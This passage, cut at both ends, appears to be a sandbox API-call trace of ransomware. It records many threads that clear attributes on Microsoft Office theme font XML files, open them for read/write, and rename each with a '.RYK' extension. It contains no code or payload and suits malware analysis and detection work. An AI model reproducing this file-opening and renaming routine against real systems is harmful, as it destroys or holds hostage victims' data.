	[0273.704] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\aspect.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Aspect.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\aspect.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3732
	os_tid = 0x3fec

	[0270.650] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Austin.xml", dwFileAttributes=0x80) returned 0
	[0273.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Austin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\austin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0273.706] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0273.706] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Austin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\austin.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Austin.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\austin.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3733
	os_tid = 0x3ff0

	[0270.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Black Tie.xml", dwFileAttributes=0x80) returned 0
	[0273.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Black Tie.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\black tie.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0273.708] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0273.708] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Black Tie.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\black tie.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Black Tie.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\black tie.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3734
	os_tid = 0x3ff4

	[0270.652] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Civic.xml", dwFileAttributes=0x80) returned 0
	[0273.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Civic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\civic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0273.710] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0273.710] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Civic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\civic.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Civic.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\civic.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3735
	os_tid = 0x3ff8

	[0270.653] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Clarity.xml", dwFileAttributes=0x80) returned 0
	[0273.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Clarity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\clarity.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0273.712] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0273.713] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Clarity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\clarity.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Clarity.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\clarity.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3736
	os_tid = 0x3ffc

	[0270.654] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Composite.xml", dwFileAttributes=0x80) returned 0
	[0270.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Composite.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\composite.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0270.655] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0270.655] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Composite.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\composite.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Composite.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\composite.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3737
	os_tid = 0x3c1c

	[0270.656] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Concourse.xml", dwFileAttributes=0x80) returned 0
	[0270.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Concourse.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\concourse.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0270.657] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0270.657] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Concourse.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\concourse.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Concourse.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\concourse.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3738
	os_tid = 0xbe0

	[0273.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Couture.xml", dwFileAttributes=0x80) returned 0
	[0274.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Couture.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\couture.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0274.447] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0274.448] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Couture.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\couture.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Couture.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\couture.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3739
	os_tid = 0x3c20

	[0273.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Elemental.xml", dwFileAttributes=0x80) returned 0
	[0274.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Elemental.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\elemental.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0274.449] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0274.449] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Elemental.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\elemental.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Elemental.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\elemental.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3740
	os_tid = 0xb1c

	[0273.716] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Equity.xml", dwFileAttributes=0x80) returned 0
	[0273.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Equity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\equity.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0273.717] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0273.717] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Equity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\equity.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Equity.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\equity.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3741
	os_tid = 0x3d18

	[0273.718] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Essential.xml", dwFileAttributes=0x80) returned 0
	[0273.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Essential.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\essential.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0273.718] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0273.718] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Essential.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\essential.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Essential.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\essential.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3742
	os_tid = 0x3d1c

	[0273.719] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Executive.xml", dwFileAttributes=0x80) returned 0
	[0274.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Executive.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\executive.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0274.452] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0274.452] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Executive.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\executive.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Executive.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\executive.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3743
	os_tid = 0x3d9c

	[0273.721] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Flow.xml", dwFileAttributes=0x80) returned 0
	[0274.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Flow.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\flow.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0274.453] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0274.453] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Flow.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\flow.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Flow.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\flow.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3744
	os_tid = 0x3e68

	[0273.725] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Foundry.xml", dwFileAttributes=0x80) returned 0
	[0274.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Foundry.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\foundry.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0274.454] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0274.455] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Foundry.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\foundry.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Foundry.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\foundry.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3745
	os_tid = 0x3e78

	[0273.726] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Grid.xml", dwFileAttributes=0x80) returned 0
	[0274.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Grid.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\grid.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0274.456] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0274.456] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Grid.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\grid.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Grid.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\grid.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3746
	os_tid = 0x127c

	[0273.727] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Hardcover.xml", dwFileAttributes=0x80) returned 0
	[0273.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Hardcover.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\hardcover.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0273.729] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0273.729] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Hardcover.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\hardcover.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Hardcover.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\hardcover.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3747
	os_tid = 0x5a0

	[0273.730] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Horizon.xml", dwFileAttributes=0x80) returned 0
	[0274.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Horizon.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\horizon.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0274.457] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0274.457] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Horizon.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\horizon.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Horizon.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\horizon.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3748
	os_tid = 0x3f14

	[0273.731] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Median.xml", dwFileAttributes=0x80) returned 0
	[0273.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Median.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\median.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0273.732] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0273.732] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Median.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\median.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Median.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\median.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3749
	os_tid = 0x4004

	[0273.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", dwFileAttributes=0x80) returned 0
	[0273.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\metro.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0273.734] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0273.734] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\metro.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\metro.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3750
	os_tid = 0x4008

	[0273.735] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", dwFileAttributes=0x80) returned 0
	[0274.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\module.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0274.460] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0274.460] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\module.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\module.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3751
	os_tid = 0x400c

	[0273.736] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", dwFileAttributes=0x80) returned 0
	[0274.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\newsprint.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0274.462] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0274.462] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\newsprint.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\newsprint.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3752
	os_tid = 0x4010

	[0274.463] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", dwFileAttributes=0x80) returned 0
	[0274.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office 2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0274.463] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0274.463] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office 2.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office 2.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3754
	os_tid = 0x401c

	[0274.465] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", dwFileAttributes=0x80) returned 0
	[0275.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic 2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.080] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.080] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic 2.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic 2.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3755
	os_tid = 0x4020

	[0274.466] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic.xml", dwFileAttributes=0x80) returned 0
	[0274.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0274.467] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0274.467] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3756
	os_tid = 0x4024

	[0274.468] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Opulent.xml", dwFileAttributes=0x80) returned 0
	[0274.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Opulent.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\opulent.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0274.468] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0274.468] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Opulent.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\opulent.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Opulent.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\opulent.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3757
	os_tid = 0x4028

	[0274.470] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Oriel.xml", dwFileAttributes=0x80) returned 0
	[0275.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Oriel.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\oriel.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.081] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.081] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Oriel.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\oriel.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Oriel.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\oriel.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3758
	os_tid = 0x402c

	[0274.471] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Origin.xml", dwFileAttributes=0x80) returned 0
